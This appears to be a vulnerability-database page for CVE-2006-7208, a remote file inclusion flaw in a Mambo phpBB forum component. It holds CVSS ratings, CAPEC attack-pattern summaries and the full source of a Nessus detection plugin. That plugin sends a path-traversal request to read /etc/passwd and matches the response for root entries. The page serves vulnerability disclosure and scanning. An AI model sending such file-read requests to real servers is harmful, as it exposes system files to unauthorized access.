Vulnerabilities > CVE-2006-7208 - Improper Input Validation vulnerability in Adam VAN Dongen COM Forum and PHPbb Component

047910
CVSS 6.8 - MEDIUM
Attack vector
NETWORK
Attack complexity
MEDIUM
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
adam-van-dongen
CWE-20
nessus
exploit available

Summary

PHP remote file inclusion vulnerability in download.php in the Adam van Dongen Forum (com_forum) component (aka phpBB component) 1.2.4RC3 and earlier for Mambo allows remote attackers to execute arbitrary PHP code via a URL in the phpbb_root_path parameter. requires that PHP's 'register_globals' setting be enabled

Vulnerable Configurations

Part Description Count
Application
Adam_Van_Dongen
2

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Buffer Overflow via Environment Variables
    This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.
  • Server Side Include (SSI) Injection
    An attacker can use Server Side Include (SSI) Injection to send code to a web application that then gets executed by the web server. Doing so enables the attacker to achieve similar results to Cross Site Scripting, viz., arbitrary code execution and information disclosure, albeit on a more limited scale, since the SSI directives are nowhere near as powerful as a full-fledged scripting language. Nonetheless, the attacker can conveniently gain access to sensitive files, such as password files, and execute shell commands.
  • Cross Zone Scripting
    An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security. In a zone-based model, pages belong to one of a set of zones corresponding to the level of privilege assigned to that page. Pages in an untrusted zone would have a lesser level of access to the system and/or be restricted in the types of executable content it was allowed to invoke. In a cross-zone scripting attack, a page that should be assigned to a less privileged zone is granted the privileges of a more trusted zone. This can be accomplished by exploiting bugs in the browser, exploiting incorrect configuration in the zone controls, through a cross-site scripting attack that causes the attackers' content to be treated as coming from a more trusted page, or by leveraging some piece of system functionality that is accessible from both the trusted and less trusted zone. This attack differs from "Restful Privilege Escalation" in that the latter correlates to the inadequate securing of RESTful access methods (such as HTTP DELETE) on the server, while cross-zone scripting attacks the concept of security zones as implemented by a browser.
  • Cross Site Scripting through Log Files
    An attacker may leverage a system weakness where logs are susceptible to log injection to insert scripts into the system's logs. If these logs are later viewed by an administrator through a thin administrative interface and the log data is not properly HTML encoded before being written to the page, the attackers' scripts stored in the log will be executed in the administrative interface with potentially serious consequences. This attack pattern is really a combination of two other attack patterns: log injection and stored cross site scripting.
  • Command Line Execution through SQL Injection
    An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.

Exploit-Db

descriptioncom_forum Mambo Component <= 1.2.4RC3 Remote Include Vulnerability. CVE-2006-7208. Webapps exploit for php platform
fileexploits/php/webapps/1995.txt
idEDB-ID:1995
last seen2016-01-31
modified2006-07-08
platformphp
port
published2006-07-08
reporterh4ntu
sourcehttps://www.exploit-db.com/download/1995/
titlecom_forum Mambo Component <= 1.2.4RC3 - Remote Include Vulnerability
typewebapps

Nessus

NASL familyCGI abuses
NASL idPHPBB_COMPONENT_PHPBB_ROOT_PATH_FILE_INCLUDES.NASL
descriptionThe remote host is running the phpBB component for Mambo, a web-based bulletin board. The version of the phpBB component for Mambo installed on the remote host fails to sanitize input to the
last seen2020-06-01
modified2020-06-02
plugin id22021
published2006-07-11
reporterThis script is Copyright (C) 2006-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/22021
titleMambo phpBB Component download.php phpbb_root_path Parameter Remote File Inclusion
code
#
# (C) Tenable Network Security, Inc.
#


include("compat.inc");

if (description)
{
  script_id(22021);
  script_version("1.15");

  script_cve_id("CVE-2006-7208");
  script_bugtraq_id(18914);
  script_xref(name:"EDB-ID", value:"1995");

  script_name(english:"Mambo phpBB Component download.php phpbb_root_path Parameter Remote File Inclusion");
  script_summary(english:"Tries to read a local file using the phpBB Component");

 script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that is prone to
remote file include attacks." );
 script_set_attribute(attribute:"description", value:
"The remote host is running the phpBB component for Mambo, a web-based
bulletin board. 

The version of the phpBB component for Mambo installed on the remote
host fails to sanitize input to the 'phpbb_root_path' parameter of the
'download.php' and other scripts before using it to include PHP code. 
Provided PHP's 'register_globals' setting is enabled, an
unauthenticated attacker may be able to exploit these flaws to view
arbitrary files on the remote host or to execute arbitrary PHP code,
possibly taken from third-party hosts." );
 script_set_attribute(attribute:"solution", value:
"Unknown at this time." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
 script_set_attribute(attribute:"exploit_available", value:"false");
 script_cwe_id(20);
 script_set_attribute(attribute:"plugin_publication_date", value: "2006/07/11");
 script_cvs_date("Date: 2018/07/24 18:56:11");
 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_set_attribute(attribute:"cpe",value:"cpe:/a:adam_van_dongen:phpbb_component");
 script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2006-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("mambo_detect.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);
  script_require_keys("www/mambo_mos");
  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("data_protection.inc");

port = get_http_port(default:80);
if (!can_host_php(port:port)) exit(0);

# Test an install.
install = get_kb_item(string("www/", port, "/mambo_mos"));
if (isnull(install)) exit(0);
matches = eregmatch(string:install, pattern:"^(.+) under (/.*)$");
if (!isnull(matches)) {
  dir = matches[2];

  # Try to exploit the flaw to read a file.
  file = "/etc/passwd%00";
  r = http_send_recv3(
    item:string(
      dir, "/components/com_forum/download.php?",
      "phpbb_root_path=", file
    ), 
    method:"GET",
    port:port
  );
  if (isnull(r)) exit(0);
  res = r[2];

  # There's a problem if...
  if (
    # there's an entry for root or...
    egrep(pattern:"root:.*:0:[01]:", string:res) ||
    # we get an error saying "failed to open stream".
    egrep(pattern:"main\(/etc/passwd\\0extension\.inc.+ failed to open stream", string:res) ||
    # we get an error claiming the file doesn't exist or...
    egrep(pattern:"main\(/etc/passwd\).*: failed to open stream: No such file or directory", string:res) ||
    # we get an error about open_basedir restriction.
    egrep(pattern:"main.+ open_basedir restriction in effect. File\(/etc/passwd", string:res)
  )
  {
    if (egrep(string:res, pattern:"root:.*:0:[01]:"))
      contents = res - strstr(res, "<br");

    if (contents)
    {
      contents = data_protection::redact_etc_passwd(output:contents);
      report = string(
        "\n",
        "Here are the contents of the file '/etc/passwd' that Nessus\n",
        "was able to read from the remote host :\n",
        "\n",
        contents
      );
    }
    else report = NULL;

    security_warning(port:port, extra:report);
    exit(0);
  }
}